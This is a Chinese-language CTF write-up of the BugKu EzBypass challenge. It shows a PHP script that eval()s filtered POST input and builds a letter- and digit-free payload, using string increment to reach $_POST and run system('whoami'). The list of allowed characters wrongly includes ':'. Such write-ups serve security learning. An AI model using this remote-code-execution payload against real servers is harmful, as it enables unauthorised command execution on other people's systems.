PHP代码审计实战:绕过preg_match和is_string双重过滤,手把手教你构造无字母数字RCE(BugKu EzBypass)
·
PHP代码审计实战:绕过双重过滤的无字母数字RCE构造指南
在CTF竞赛和实际渗透测试中,我们经常会遇到各种代码过滤机制。今天要探讨的是一个典型但极具教学意义的案例——如何绕过 is_string() 类型检查和 preg_match() 字符黑名单的双重防御,最终实现无字母数字的远程代码执行(RCE)。
1. 理解题目与初始分析
首先让我们仔细阅读题目提供的代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['code'])) {
$code = $_POST['code'];
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
eval($code);
} else {
echo "Hacked!";
}
} else {
echo "You need to pass in a string";
}
} else {
echo "long?";
}
}
这段代码设置了四层防御:
- 长度限制(≤105字节)
- 类型检查(
is_string()) - 字符黑名单过滤(
preg_match()) eval()执行前的最终检查
我们的突破口在于同时满足:
- 输入必须是字符串类型
- 不能包含字母、数字和特殊符号
- 最终能构造出有效的PHP代码
2. 可用字符分析与筛选
为了找出可用的字符,我们可以编写一个简单的筛选脚本:
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
执行后会得到以下可用字符:
! $ ' ( ) + , . / : ; = [ ] _
这些字符将成为我们构造Payload的基础。特别值得注意的是:
_:可用于变量名[ ]:数组访问.:字符串连接+:数学运算或字符串转换/:除法运算$:变量符号
3. PHP字符串自增特性解析
PHP有一个鲜为人知但非常强大的特性——字符串自增。与数字自增类似,字符串也可以使用 ++ 运算符进行"递增":
$_ = 'a';
$_++; // $_现在是'b'
$_ = 'z';
$_++; // $_现在是'aa'
这个特性在字母数字被过滤的情况下尤为有用。我们可以从空字符串或特殊字符开始,通过自增得到需要的字母。
4. 构造_POST变量的完整过程
我们需要构造 $_POST 变量来接收外部参数。以下是逐步构造的过程:
-
获取初始字符'N':
$_=(_/_._)[_];_/_._产生字符串"NAN"(Not A Number)[_]相当于[0],因为_是未定义常量,被转换为字符串"_",再转换为整数0
-
自增得到'O':
$_++; // 现在$_是"O" -
构造'PO':
$__=$_.$_++; // $__="PO", $_变为"Q" -
继续自增并拼接:
$_++; // "R" $_++; // "S" $__=$__.$_; // "POS" $_++; // "T" $__=$__.$_; // "POST" -
最终构造
$_POST:$_=_.$__; // "_POST"
5. 完整Payload构造与参数传递
最终的RCE利用需要两个参数:
_:要执行的函数名(如system)__:函数参数(如whoami)
完整Payload如下:
code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=whoami
分解说明:
$$_[_]→$_POST['_']→system$$_[__]→$_POST['__']→whoami- 组合起来就是
system('whoami')
6. PHP版本差异与调试技巧
在实际测试中,PHP版本差异会导致不同结果:
| PHP版本 | 行为差异 |
|---|---|
| 5.3-5.6 | 字符串自增行为不一致,容易报错 |
| 7.0+ | 稳定支持当前构造方法 |
调试建议:
- 使用
var_dump()逐步检查变量值 - 在本地搭建与目标相同的PHP环境
- 分阶段测试,先验证小片段再组合
7. 防御建议与安全思考
虽然这种攻击手法巧妙,但防御也不复杂:
- 避免直接使用
eval()执行用户输入 - 使用白名单而非黑名单进行过滤
- 对特殊功能增加额外的认证机制
- 定期更新PHP版本,了解语言特性变化
理解这些绕过技术不仅有助于CTF竞赛,更能提升实际开发中的安全意识。当你设计安全机制时,始终要考虑:"攻击者会如何绕过这个限制?"这种逆向思维是安全工程师的宝贵财富。
更多推荐


所有评论(0)